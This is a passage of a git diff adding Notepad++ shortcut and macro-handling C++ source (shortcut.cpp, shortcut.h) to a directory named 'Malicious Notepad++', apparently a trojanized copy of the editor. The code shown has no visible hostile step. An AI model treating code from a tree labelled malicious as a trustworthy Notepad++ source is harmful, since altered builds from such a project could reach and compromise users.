++i) + { + switch(cmdName[i]) + { + case '\t': + cmdName[j] = '\0'; + fin = true; + break; + + case '&': + break; + + default : + cmdName[j++] = cmdName[i]; + } + if (fin) + break; + } + cmdName[j] = '\0'; + str = cmdName; + } + return; +} + +void Shortcut::updateConflictState(const bool endSession) const +{ + if (endSession) + { + // Clean up message for detached dialogs: save Macros/RunCommands + ::SendMessage(_hParent, NPPM_INTERNAL_FINDKEYCONFLICTS, 0, 0); + return; + } + + // Check for conflicts + bool isConflict = false; + ::SendMessage(_hParent, NPPM_INTERNAL_FINDKEYCONFLICTS, + reinterpret_cast(&_keyCombo), reinterpret_cast(&isConflict)); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_CONFLICT_STATIC), isConflict ? SW_SHOW : SW_HIDE); +} + +INT_PTR CALLBACK Shortcut::run_dlgProc(UINT Message, WPARAM wParam, LPARAM) +{ + switch (Message) + { + case WM_INITDIALOG : + { + ::SetDlgItemText(_hSelf, IDC_NAME_EDIT, getMenuName()); //display the menu name, with ampersands + if (!_canModifyName) + ::SendDlgItemMessage(_hSelf, IDC_NAME_EDIT, EM_SETREADONLY, TRUE, 0); + auto textlen = ::SendDlgItemMessage(_hSelf, IDC_NAME_EDIT, WM_GETTEXTLENGTH, 0, 0); + + ::SendDlgItemMessage(_hSelf, IDC_CTRL_CHECK, BM_SETCHECK, _keyCombo._isCtrl?BST_CHECKED:BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_ALT_CHECK, BM_SETCHECK, _keyCombo._isAlt?BST_CHECKED:BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_SHIFT_CHECK, BM_SETCHECK, _keyCombo._isShift?BST_CHECKED:BST_UNCHECKED, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDOK), isValid() && (textlen > 0 || !_canModifyName)); + int iFound = -1; + for (size_t i = 0 ; i < nbKeys ; ++i) + { + ::SendDlgItemMessage(_hSelf, IDC_KEY_COMBO, CB_ADDSTRING, 0, reinterpret_cast(namedKeyArray[i].name)); + + if (_keyCombo._key == namedKeyArray[i].id) + iFound = static_cast(i); + } + + if (iFound != -1) + ::SendDlgItemMessage(_hSelf, IDC_KEY_COMBO, CB_SETCURSEL, iFound, 0); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_WARNING_STATIC), isEnabled()?SW_HIDE:SW_SHOW); + updateConflictState(); + goToCenter(); + return TRUE; + } + + case WM_COMMAND : + { + auto textlen = ::SendDlgItemMessage(_hSelf, IDC_NAME_EDIT, WM_GETTEXTLENGTH, 0, 0); + switch (wParam) + { + case IDC_CTRL_CHECK : + _keyCombo._isCtrl = BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDOK), isValid() && (textlen > 0 || !_canModifyName)); + updateConflictState(); + return TRUE; + + case IDC_ALT_CHECK : + _keyCombo._isAlt = BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDOK), isValid() && (textlen > 0 || !_canModifyName)); + updateConflictState(); + return TRUE; + + case IDC_SHIFT_CHECK : + _keyCombo._isShift = BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0); + updateConflictState(); + return TRUE; + + case IDOK : + if (!isEnabled()) { + _keyCombo._isCtrl = _keyCombo._isAlt = _keyCombo._isShift = false; + } + if (_canModifyName) { + TCHAR editName[nameLenMax]; + ::SendDlgItemMessage(_hSelf, IDC_NAME_EDIT, WM_GETTEXT, nameLenMax, reinterpret_cast(editName)); + setName(editName); + } + ::EndDialog(_hSelf, 0); + updateConflictState(true); + return TRUE; + + case IDCANCEL : + ::EndDialog(_hSelf, -1); + updateConflictState(true); + return TRUE; + + default: + if (HIWORD(wParam) == EN_CHANGE) + { + if (LOWORD(wParam) == IDC_NAME_EDIT) + { + ::EnableWindow(::GetDlgItem(_hSelf, IDOK), isValid() && (textlen > 0 || !_canModifyName)); + return TRUE; + } + } + else if (HIWORD(wParam) == CBN_SELCHANGE) + { + if (LOWORD(wParam) == IDC_KEY_COMBO) + { + auto i = ::SendDlgItemMessage(_hSelf, LOWORD(wParam), CB_GETCURSEL, 0, 0); + _keyCombo._key = namedKeyArray[i].id; + ::EnableWindow(::GetDlgItem(_hSelf, IDOK), isValid() && (textlen > 0 || !_canModifyName)); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_WARNING_STATIC), isEnabled()?SW_HIDE:SW_SHOW); + updateConflictState(); + return TRUE; + } + } + return FALSE; + } + } + default : + return FALSE; + } +} + +// return true if one of CommandShortcuts is deleted. Otherwise false. +void Accelerator::updateShortcuts() +{ + vector incrFindAccIds; + incrFindAccIds.push_back(IDM_SEARCH_FINDNEXT); + incrFindAccIds.push_back(IDM_SEARCH_FINDPREV); + incrFindAccIds.push_back(IDM_SEARCH_FINDINCREMENT); + + NppParameters *pNppParam = NppParameters::getInstance(); + + vector & shortcuts = pNppParam->getUserShortcuts(); + vector & macros = pNppParam->getMacroList(); + vector & userCommands = pNppParam->getUserCommandList(); + vector & pluginCommands = pNppParam->getPluginCommandList(); + + size_t nbMenu = shortcuts.size(); + size_t nbMacro = macros.size(); + size_t nbUserCmd = userCommands.size(); + size_t nbPluginCmd = pluginCommands.size(); + + if (_pAccelArray) + delete [] _pAccelArray; + _pAccelArray = new ACCEL[nbMenu+nbMacro+nbUserCmd+nbPluginCmd]; + vector incrFindAcc; + + ACCEL *pSearchFindAccel = nullptr; + int offset = 0; + size_t i = 0; + //no validation performed, it might be that invalid shortcuts are being used by default. Allows user to 'hack', might be a good thing + for(i = 0; i < nbMenu; ++i) + { + if (shortcuts[i].isEnabled()) + { + _pAccelArray[offset].cmd = static_cast(shortcuts[i].getID()); + _pAccelArray[offset].fVirt = shortcuts[i].getAcceleratorModifiers(); + _pAccelArray[offset].key = shortcuts[i].getKeyCombo()._key; + + // Special extra handling for shortcuts shared by Incremental Find dialog + if (std::find(incrFindAccIds.begin(), incrFindAccIds.end(), shortcuts[i].getID()) != incrFindAccIds.end()) + incrFindAcc.push_back(_pAccelArray[offset]); + + if (shortcuts[i].getID() == IDM_SEARCH_FIND) + pSearchFindAccel = &_pAccelArray[offset]; + + ++offset; + } + } + + for(i = 0; i < nbMacro; ++i) + { + if (macros[i].isEnabled()) + { + _pAccelArray[offset].cmd = (WORD)(macros[i].getID()); + _pAccelArray[offset].fVirt = macros[i].getAcceleratorModifiers(); + _pAccelArray[offset].key = macros[i].getKeyCombo()._key; + ++offset; + } + } + + for(i = 0; i < nbUserCmd; ++i) + { + if (userCommands[i].isEnabled()) + { + _pAccelArray[offset].cmd = (WORD)(userCommands[i].getID()); + _pAccelArray[offset].fVirt = userCommands[i].getAcceleratorModifiers(); + _pAccelArray[offset].key = userCommands[i].getKeyCombo()._key; + ++offset; + } + } + + for(i = 0; i < nbPluginCmd; ++i) + { + if (pluginCommands[i].isEnabled()) + { + _pAccelArray[offset].cmd = (WORD)(pluginCommands[i].getID()); + _pAccelArray[offset].fVirt = pluginCommands[i].getAcceleratorModifiers(); + _pAccelArray[offset].key = pluginCommands[i].getKeyCombo()._key; + ++offset; + } + } + + _nbAccelItems = offset; + + updateFullMenu(); + + //update the table + if (_hAccTable) + ::DestroyAcceleratorTable(_hAccTable); + _hAccTable = ::CreateAcceleratorTable(_pAccelArray, _nbAccelItems); + + if (_hIncFindAccTab) + ::DestroyAcceleratorTable(_hIncFindAccTab); + + size_t nb = incrFindAcc.size(); + ACCEL *tmpIncrFindAccelArray = new ACCEL[nb]; + for (i = 0; i < nb; ++i) + { + tmpIncrFindAccelArray[i] = incrFindAcc[i]; + } + _hIncFindAccTab = ::CreateAcceleratorTable(tmpIncrFindAccelArray, static_cast(nb)); + delete [] tmpIncrFindAccelArray; + + if (_hIncFindAccTab) + ::DestroyAcceleratorTable(_hIncFindAccTab); + + + if (_hFindAccTab) + ::DestroyAcceleratorTable(_hFindAccTab); + if (pSearchFindAccel != nullptr) + { + ACCEL *tmpFindAccelArray = new ACCEL[1]; + tmpFindAccelArray[0] = *pSearchFindAccel; + _hFindAccTab = ::CreateAcceleratorTable(tmpFindAccelArray, 1); + delete[] tmpFindAccelArray; + } + + return; +} + +void Accelerator::updateFullMenu() { + NppParameters * pNppParam = NppParameters::getInstance(); + vector commands = pNppParam->getUserShortcuts(); + for(size_t i = 0; i < commands.size(); ++i) { + updateMenuItemByCommand(commands[i]); + } + + vector mcommands = pNppParam->getMacroList(); + for(size_t i = 0; i < mcommands.size(); ++i) { + updateMenuItemByCommand(mcommands[i]); + } + + vector ucommands = pNppParam->getUserCommandList(); + for(size_t i = 0; i < ucommands.size(); ++i) { + updateMenuItemByCommand(ucommands[i]); + } + + vector pcommands = pNppParam->getPluginCommandList(); + for(size_t i = 0; i < pcommands.size(); ++i) { + updateMenuItemByCommand(pcommands[i]); + } + + ::DrawMenuBar(_hMenuParent); +} + +void Accelerator::updateMenuItemByCommand(CommandShortcut csc) +{ + int cmdID = csc.getID(); + + // Ensure that the menu item checks set prior to this update remain in affect. + UINT cmdFlags = GetMenuState(_hAccelMenu, cmdID, MF_BYCOMMAND ); + cmdFlags = MF_BYCOMMAND | ((cmdFlags&MF_CHECKED) ? MF_CHECKED : MF_UNCHECKED); + ::ModifyMenu(_hAccelMenu, cmdID, cmdFlags, cmdID, csc.toMenuItemString().c_str()); +} + +recordedMacroStep::recordedMacroStep(int iMessage, uptr_t wParam, uptr_t lParam, int codepage) + : _message(iMessage), _wParameter(wParam), _lParameter(lParam), _macroType(mtUseLParameter) +{ + if (_lParameter) { + switch (_message) { + case SCI_SETTEXT : + case SCI_REPLACESEL : + case SCI_REPLACETARGET : + case SCI_REPLACETARGETRE : + case SCI_SEARCHINTARGET : + case SCI_ADDTEXT : + case SCI_ADDSTYLEDTEXT : + case SCI_INSERTTEXT : + case SCI_APPENDTEXT : + case SCI_SETWORDCHARS : + case SCI_SETWHITESPACECHARS : + case SCI_SETSTYLINGEX : + case SCI_TEXTWIDTH : + case SCI_STYLESETFONT : + case SCI_SEARCHNEXT : + case SCI_SEARCHPREV : + case IDFINDWHAT: + case IDREPLACEWITH: + case IDD_FINDINFILES_DIR_COMBO: + case IDD_FINDINFILES_FILTERS_COMBO: + { + char *ch = reinterpret_cast(_lParameter); + TCHAR tch[2]; + ::MultiByteToWideChar(codepage, 0, ch, -1, tch, 2); + _sParameter = *tch; + _macroType = mtUseSParameter; + _lParameter = 0; + } + break; + + + default : // for all other messages, use _lParameter "as is" + break; + } + } +} + +void recordedMacroStep::PlayBack(Window* pNotepad, ScintillaEditView *pEditView) +{ + if (_macroType == mtMenuCommand) + ::SendMessage(pNotepad->getHSelf(), WM_COMMAND, _wParameter, 0); + + else + { + if (_macroType == mtUseSParameter) + { + char ansiBuffer[3]; + ::WideCharToMultiByte(static_cast(pEditView->execute(SCI_GETCODEPAGE)), 0, _sParameter.c_str(), -1, ansiBuffer, 3, NULL, NULL); + auto lParam = reinterpret_cast(ansiBuffer); + pEditView->execute(_message, _wParameter, lParam); + } + else + { + pEditView->execute(_message, _wParameter, _lParameter); + } + + if ( (_message == SCI_SETTEXT) + || (_message == SCI_REPLACESEL) + || (_message == SCI_ADDTEXT) + || (_message == SCI_ADDSTYLEDTEXT) + || (_message == SCI_INSERTTEXT) + || (_message == SCI_APPENDTEXT) ) + { + SCNotification scnN; + scnN.nmhdr.code = SCN_CHARADDED; + scnN.nmhdr.hwndFrom = pEditView->getHSelf(); + scnN.nmhdr.idFrom = 0; + if(_sParameter.empty()) + scnN.ch = 0; + else + scnN.ch = _sParameter.at(0); + ::SendMessage(pNotepad->getHSelf(), WM_NOTIFY, 0, reinterpret_cast(&scnN)); + } + } +} + +void ScintillaAccelerator::init(vector * vScintillas, HMENU hMenu, HWND menuParent) +{ + _hAccelMenu = hMenu; + _hMenuParent = menuParent; + size_t nbScintilla = vScintillas->size(); + for (size_t i = 0; i < nbScintilla; ++i) + { + _vScintillas.push_back(vScintillas->at(i)); + } +} + +void ScintillaAccelerator::updateKeys() +{ + NppParameters *pNppParam = NppParameters::getInstance(); + vector & map = pNppParam->getScintillaKeyList(); + size_t mapSize = map.size(); + size_t index; + size_t nb = nbScintillas(); + for (size_t i = 0; i < nb; ++i) + { + ::SendMessage(_vScintillas[i], SCI_CLEARALLCMDKEYS, 0, 0); + for(int32_t j = static_cast(mapSize) - 1; j >= 0; j--) //reverse order, top of the list has highest priority + { + ScintillaKeyMap skm = map[j]; + if (skm.isEnabled()) + { //no validating, scintilla accepts more keys + size_t size = skm.getSize(); + for(index = 0; index < size; ++index) + ::SendMessage(_vScintillas[i], SCI_ASSIGNCMDKEY, skm.toKeyDef(index), skm.getScintillaKeyID()); + } + if (skm.getMenuCmdID() != 0) + { + updateMenuItemByID(skm, skm.getMenuCmdID()); + } + if (j == 0) //j is unsigned, so default method doesnt work + break; + } + } +} + +void ScintillaAccelerator::updateMenuItemByID(ScintillaKeyMap skm, int id) +{ + const int commandSize = 64; + TCHAR cmdName[commandSize]; + ::GetMenuString(_hAccelMenu, id, cmdName, commandSize, MF_BYCOMMAND); + int i = 0; + while(cmdName[i] != 0) + { + if (cmdName[i] == '\t') + { + cmdName[i] = 0; + break; + } + ++i; + } + generic_string menuItem = cmdName; + if (skm.isEnabled()) + { + menuItem += TEXT("\t"); + //menuItem += TEXT("Sc:"); //sc: scintilla shortcut + menuItem += skm.toString(); + } + ::ModifyMenu(_hAccelMenu, id, MF_BYCOMMAND, id, menuItem.c_str()); + ::DrawMenuBar(_hMenuParent); +} + +//This procedure uses _keyCombo as a temp. variable to store current settings which can then later be applied (by pressing OK) +void ScintillaKeyMap::applyToCurrentIndex() +{ + int index = static_cast(::SendDlgItemMessage(_hSelf, IDC_LIST_KEYS, LB_GETCURSEL, 0, 0)); + if (index == LB_ERR) + return; + setKeyComboByIndex(static_cast(index), _keyCombo); + updateListItem(index); + ::SendDlgItemMessage(_hSelf, IDC_LIST_KEYS, LB_SETCURSEL, index, 0); + +} + +void ScintillaKeyMap::validateDialog() { + bool valid = isValid(); //current combo valid? + bool isDisabling = _keyCombo._key == 0; //true if this keycombo were to disable the shortcut + bool isDisabled = !isEnabled(); //true if this shortcut already is + bool isDuplicate = false; //true if already in the list + + for (size_t i = 0; i < _size; ++i) + { + if (_keyCombo._key == _keyCombos[i]._key && _keyCombo._isCtrl == _keyCombos[i]._isCtrl && + _keyCombo._isAlt == _keyCombos[i]._isAlt && _keyCombo._isShift == _keyCombos[i]._isShift) + { + isDuplicate = true; + break; + } + } + + ::EnableWindow(::GetDlgItem(_hSelf, IDC_BUTTON_ADD), valid && !isDisabling && !isDuplicate); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_BUTTON_APPLY), valid && (!isDisabling || _size == 1) && !isDuplicate); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_BUTTON_RMVE), (_size > 1)?TRUE:FALSE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_WARNING_STATIC), isDisabled?SW_SHOW:SW_HIDE); + updateConflictState(); +} + +void ScintillaKeyMap::showCurrentSettings() { + auto keyIndex = ::SendDlgItemMessage(_hSelf, IDC_LIST_KEYS, LB_GETCURSEL, 0, 0); + _keyCombo = _keyCombos[keyIndex]; + ::SendDlgItemMessage(_hSelf, IDC_CTRL_CHECK, BM_SETCHECK, _keyCombo._isCtrl?BST_CHECKED:BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_ALT_CHECK, BM_SETCHECK, _keyCombo._isAlt?BST_CHECKED:BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_SHIFT_CHECK, BM_SETCHECK, _keyCombo._isShift?BST_CHECKED:BST_UNCHECKED, 0); + for (size_t i = 0 ; i < nbKeys ; ++i) + { + if (_keyCombo._key == namedKeyArray[i].id) + { + ::SendDlgItemMessage(_hSelf, IDC_KEY_COMBO, CB_SETCURSEL, i, 0); + break; + } + } +} + +void ScintillaKeyMap::updateListItem(int index) { + ::SendDlgItemMessage(_hSelf, IDC_LIST_KEYS, LB_INSERTSTRING, index, reinterpret_cast(toString(index).c_str())); + ::SendDlgItemMessage(_hSelf, IDC_LIST_KEYS, LB_DELETESTRING, index+1, 0); +} + +INT_PTR CALLBACK ScintillaKeyMap::run_dlgProc(UINT Message, WPARAM wParam, LPARAM) +{ + + switch (Message) + { + case WM_INITDIALOG : + { + ::SetDlgItemText(_hSelf, IDC_NAME_EDIT, _name); + _keyCombo = _keyCombos[0]; + + for (size_t i = 0 ; i < nbKeys ; ++i) + { + ::SendDlgItemMessage(_hSelf, IDC_KEY_COMBO, CB_ADDSTRING, 0, reinterpret_cast(namedKeyArray[i].name)); + } + + for(size_t i = 0; i < _size; ++i) + { + ::SendDlgItemMessage(_hSelf, IDC_LIST_KEYS, LB_ADDSTRING, 0, reinterpret_cast(toString(i).c_str())); + } + ::SendDlgItemMessage(_hSelf, IDC_LIST_KEYS, LB_SETCURSEL, 0, 0); + + showCurrentSettings(); + validateDialog(); + + goToCenter(); + return TRUE; + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDC_CTRL_CHECK : + _keyCombo._isCtrl = BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0); + //applyToCurrentIndex(); + validateDialog(); + return TRUE; + + case IDC_ALT_CHECK : + _keyCombo._isAlt = BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0); + //applyToCurrentIndex(); + validateDialog(); + return TRUE; + + case IDC_SHIFT_CHECK : + _keyCombo._isShift = BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0); + //applyToCurrentIndex(); + validateDialog(); + return TRUE; + + case IDOK : + //Cleanup + _keyCombo._key = 0; + _keyCombo._isCtrl = _keyCombo._isAlt = _keyCombo._isShift = false; + ::EndDialog(_hSelf, 0); + return TRUE; + + case IDCANCEL : + ::EndDialog(_hSelf, -1); + return TRUE; + + case IDC_BUTTON_ADD: + { + size_t oldsize = _size; + int res = addKeyCombo(_keyCombo); + if (res > -1) + { + if (res == static_cast(oldsize)) + { + ::SendDlgItemMessage(_hSelf, IDC_LIST_KEYS, LB_INSERTSTRING, static_cast(-1), reinterpret_cast(toString(res).c_str())); + } + else + { //update current generic_string, can happen if it was disabled + updateListItem(res); + } + ::SendDlgItemMessage(_hSelf, IDC_LIST_KEYS, LB_SETCURSEL, res, 0); + } + showCurrentSettings(); + validateDialog(); + return TRUE; + } + + case IDC_BUTTON_RMVE: + { + if (_size == 1) //cannot delete last shortcut + return TRUE; + auto i = ::SendDlgItemMessage(_hSelf, IDC_LIST_KEYS, LB_GETCURSEL, 0, 0); + removeKeyComboByIndex(i); + ::SendDlgItemMessage(_hSelf, IDC_LIST_KEYS, LB_DELETESTRING, i, 0); + if (static_cast(i) == _size) + i = _size - 1; + ::SendDlgItemMessage(_hSelf, IDC_LIST_KEYS, LB_SETCURSEL, i, 0); + showCurrentSettings(); + validateDialog(); + return TRUE; + } + + case IDC_BUTTON_APPLY: + { + applyToCurrentIndex(); + validateDialog(); + return TRUE; + } + + default: + if (HIWORD(wParam) == CBN_SELCHANGE || HIWORD(wParam) == LBN_SELCHANGE) + { + switch(LOWORD(wParam)) + { + case IDC_KEY_COMBO: + { + auto i = ::SendDlgItemMessage(_hSelf, IDC_KEY_COMBO, CB_GETCURSEL, 0, 0); + _keyCombo._key = namedKeyArray[i].id; + //applyToCurrentIndex(); + validateDialog(); + return TRUE; + } + case IDC_LIST_KEYS: + { + showCurrentSettings(); + validateDialog(); + return TRUE; + } + } + } + return FALSE; + } + } + default : + return FALSE; + } + + //return FALSE; +} + +CommandShortcut::CommandShortcut(Shortcut sc, long id) : Shortcut(sc), _id(id) { + if ( _id < IDM_EDIT) + _category = TEXT("File"); + else if ( _id < IDM_SEARCH) + _category = TEXT("Edit"); + else if (_id >= IDM_EDIT_AUTOCOMPLETE and _id <= IDM_EDIT_AUTOCOMPLETE_PATH) + _category = TEXT("Edit"); + else if ( _id < IDM_VIEW) + _category = TEXT("Search"); + else if ( _id < IDM_FORMAT) + _category = TEXT("View"); + else if ( _id >= IDM_VIEW_GOTO_ANOTHER_VIEW and _id <= IDM_VIEW_LOAD_IN_NEW_INSTANCE) + _category = TEXT("View"); + else if ( _id < IDM_LANG) + _category = TEXT("Format"); + else if ( _id < IDM_ABOUT) + _category = TEXT("Lang"); + else if ( _id < IDM_SETTING) + _category = TEXT("About"); + else if ( _id < IDM_TOOL) + _category = TEXT("Setting"); + else if ( _id < IDM_EXECUTE) + _category = TEXT("Tool"); + else + _category = TEXT("Execute"); +} diff --git a/Malicious Notepad++/src/WinControls/shortcut/shortcut.h b/Malicious Notepad++/src/WinControls/shortcut/shortcut.h new file mode 100644 index 0000000..306db11 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/shortcut/shortcut.h @@ -0,0 +1,401 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "shortcutRc.h" +#include "Scintilla.h" +#include "StaticDialog.h" +#include "Common.h" +#include "menuCmdID.h" + +const size_t nameLenMax = 64; + +class NppParameters; + +void getKeyStrFromVal(UCHAR keyVal, generic_string & str); +void getNameStrFromCmd(DWORD cmd, generic_string & str); +static size_t keyTranslate(size_t keyIn) { + switch (keyIn) { + case VK_DOWN: return SCK_DOWN; + case VK_UP: return SCK_UP; + case VK_LEFT: return SCK_LEFT; + case VK_RIGHT: return SCK_RIGHT; + case VK_HOME: return SCK_HOME; + case VK_END: return SCK_END; + case VK_PRIOR: return SCK_PRIOR; + case VK_NEXT: return SCK_NEXT; + case VK_DELETE: return SCK_DELETE; + case VK_INSERT: return SCK_INSERT; + case VK_ESCAPE: return SCK_ESCAPE; + case VK_BACK: return SCK_BACK; + case VK_TAB: return SCK_TAB; + case VK_RETURN: return SCK_RETURN; + case VK_ADD: return SCK_ADD; + case VK_SUBTRACT: return SCK_SUBTRACT; + case VK_DIVIDE: return SCK_DIVIDE; + case VK_OEM_2: return '/'; + case VK_OEM_3: return '`'; + case VK_OEM_4: return '['; + case VK_OEM_5: return '\\'; + case VK_OEM_6: return ']'; + default: return keyIn; + } +}; + +struct KeyCombo { + bool _isCtrl; + bool _isAlt; + bool _isShift; + UCHAR _key; +}; + +class Shortcut : public StaticDialog { +public: + Shortcut(): _canModifyName(false) { + setName(TEXT("")); + _keyCombo._isCtrl = false; + _keyCombo._isAlt = false; + _keyCombo._isShift = false; + _keyCombo._key = 0; + }; + + Shortcut(const TCHAR *name, bool isCtrl, bool isAlt, bool isShift, UCHAR key) : _canModifyName(false) { + _name[0] = '\0'; + if (name) { + setName(name); + } else { + setName(TEXT("")); + } + _keyCombo._isCtrl = isCtrl; + _keyCombo._isAlt = isAlt; + _keyCombo._isShift = isShift; + _keyCombo._key = key; + }; + + Shortcut(const Shortcut & sc) { + setName(sc.getMenuName()); + _keyCombo = sc._keyCombo; + _canModifyName = sc._canModifyName; + } + + BYTE getAcceleratorModifiers() { + return ( FVIRTKEY | (_keyCombo._isCtrl?FCONTROL:0) | (_keyCombo._isAlt?FALT:0) | (_keyCombo._isShift?FSHIFT:0) ); + }; + + Shortcut & operator=(const Shortcut & sc) { + //Do not allow setting empty names + //So either we have an empty name or the other name has to be set + if (_name[0] == 0 || sc._name[0] != 0) { + setName(sc.getMenuName()); + } + _keyCombo = sc._keyCombo; + this->_canModifyName = sc._canModifyName; + return *this; + } + friend inline const bool operator==(const Shortcut & a, const Shortcut & b) { + return ((lstrcmp(a.getMenuName(), b.getMenuName()) == 0) && + (a._keyCombo._isCtrl == b._keyCombo._isCtrl) && + (a._keyCombo._isAlt == b._keyCombo._isAlt) && + (a._keyCombo._isShift == b._keyCombo._isShift) && + (a._keyCombo._key == b._keyCombo._key) + ); + }; + + friend inline const bool operator!=(const Shortcut & a, const Shortcut & b) { + return !(a == b); + }; + + virtual INT_PTR doDialog() + { + return ::DialogBoxParam(_hInst, MAKEINTRESOURCE(IDD_SHORTCUT_DLG), _hParent, dlgProc, reinterpret_cast(this)); + }; + + virtual bool isValid() const { //valid should only be used in cases where the shortcut isEnabled(). + if (_keyCombo._key == 0) + return true; //disabled _keyCombo always valid, just disabled + + //These keys need a modifier, else invalid + if ( ((_keyCombo._key >= 'A') && (_keyCombo._key <= 'Z')) || ((_keyCombo._key >= '0') && (_keyCombo._key <= '9')) || _keyCombo._key == VK_SPACE || _keyCombo._key == VK_CAPITAL || _keyCombo._key == VK_BACK || _keyCombo._key == VK_RETURN) { + return ((_keyCombo._isCtrl) || (_keyCombo._isAlt)); + } + // the remaining keys are always valid + return true; + }; + virtual bool isEnabled() const { //true if _keyCombo != 0, false if _keyCombo == 0, in which case no accelerator should be made + return (_keyCombo._key != 0); + }; + + virtual generic_string toString() const; //the hotkey part + generic_string toMenuItemString() const { //generic_string suitable for menu + generic_string str = _menuName; + if(isEnabled()) + { + str += TEXT("\t"); + str += toString(); + } + return str; + }; + const KeyCombo & getKeyCombo() const { + return _keyCombo; + }; + + const TCHAR * getName() const { + return _name; + }; + + const TCHAR * getMenuName() const { + return _menuName; + } + + void setName(const TCHAR * name); + + void clear(){ + _keyCombo._isCtrl = false; + _keyCombo._isAlt = false; + _keyCombo._isShift = false; + _keyCombo._key = 0; + return; + } + +protected : + KeyCombo _keyCombo; + virtual INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam); + bool _canModifyName; + TCHAR _name[nameLenMax]; //normal name is plain text (for display purposes) + TCHAR _menuName[nameLenMax]; //menu name has ampersands for quick keys + void updateConflictState(const bool endSession = false) const; +}; + +class CommandShortcut : public Shortcut { +public: + CommandShortcut(Shortcut sc, long id); + unsigned long getID() const {return _id;}; + void setID(unsigned long id) { _id = id;}; + const TCHAR * getCategory() const { return _category.c_str(); }; + +private : + unsigned long _id; + generic_string _category; +}; + + +class ScintillaKeyMap : public Shortcut { +public: + ScintillaKeyMap(Shortcut sc, unsigned long scintillaKeyID, unsigned long id): Shortcut(sc), _menuCmdID(id), _scintillaKeyID(scintillaKeyID) { + _keyCombos.clear(); + _keyCombos.push_back(_keyCombo); + _keyCombo._key = 0; + _size = 1; + }; + unsigned long getScintillaKeyID() const {return _scintillaKeyID;}; + int getMenuCmdID() const {return _menuCmdID;}; + size_t toKeyDef(size_t index) const { + KeyCombo kc = _keyCombos[index]; + int keymod = (kc._isCtrl?SCMOD_CTRL:0) | (kc._isAlt?SCMOD_ALT:0) | (kc._isShift?SCMOD_SHIFT:0); + return keyTranslate(kc._key) + (keymod << 16); + }; + + KeyCombo getKeyComboByIndex(size_t index) const; + void setKeyComboByIndex(int index, KeyCombo combo); + void removeKeyComboByIndex(size_t index); + void clearDups() { + if (_size > 1) + _keyCombos.erase(_keyCombos.begin()+1, _keyCombos.end()); + _size = 1; + }; + int addKeyCombo(KeyCombo combo); + bool isEnabled() const; + size_t getSize() const; + + generic_string toString() const; + generic_string toString(size_t index) const; + + INT_PTR doDialog() + { + return ::DialogBoxParam(_hInst, MAKEINTRESOURCE(IDD_SHORTCUTSCINT_DLG), _hParent, dlgProc, reinterpret_cast(this)); + }; + + //only compares the internal KeyCombos, nothing else + friend inline const bool operator==(const ScintillaKeyMap & a, const ScintillaKeyMap & b) { + bool equal = a._size == b._size; + if (!equal) + return false; + size_t i = 0; + while(equal && (i < a._size)) + { + equal = + (a._keyCombos[i]._isCtrl == b._keyCombos[i]._isCtrl) && + (a._keyCombos[i]._isAlt == b._keyCombos[i]._isAlt) && + (a._keyCombos[i]._isShift == b._keyCombos[i]._isShift) && + (a._keyCombos[i]._key == b._keyCombos[i]._key); + ++i; + } + return equal; + }; + + friend inline const bool operator!=(const ScintillaKeyMap & a, const ScintillaKeyMap & b) { + return !(a == b); + }; + +private: + unsigned long _scintillaKeyID; + int _menuCmdID; + std::vector _keyCombos; + size_t _size; + void applyToCurrentIndex(); + void validateDialog(); + void showCurrentSettings(); + void updateListItem(int index); +protected : + INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam); +}; + + +class Window; +class ScintillaEditView; + +struct recordedMacroStep { + enum MacroTypeIndex {mtUseLParameter, mtUseSParameter, mtMenuCommand, mtSavedSnR}; + + int _message = 0; + uptr_t _wParameter = 0; + uptr_t _lParameter = 0; + generic_string _sParameter; + MacroTypeIndex _macroType = mtMenuCommand; + + recordedMacroStep(int iMessage, uptr_t wParam, uptr_t lParam, int codepage); + explicit recordedMacroStep(int iCommandID): _wParameter(iCommandID) {}; + + recordedMacroStep(int iMessage, uptr_t wParam, uptr_t lParam, const TCHAR *sParam, int type) + : _message(iMessage), _wParameter(wParam), _lParameter(lParam), _macroType(MacroTypeIndex(type)){ + 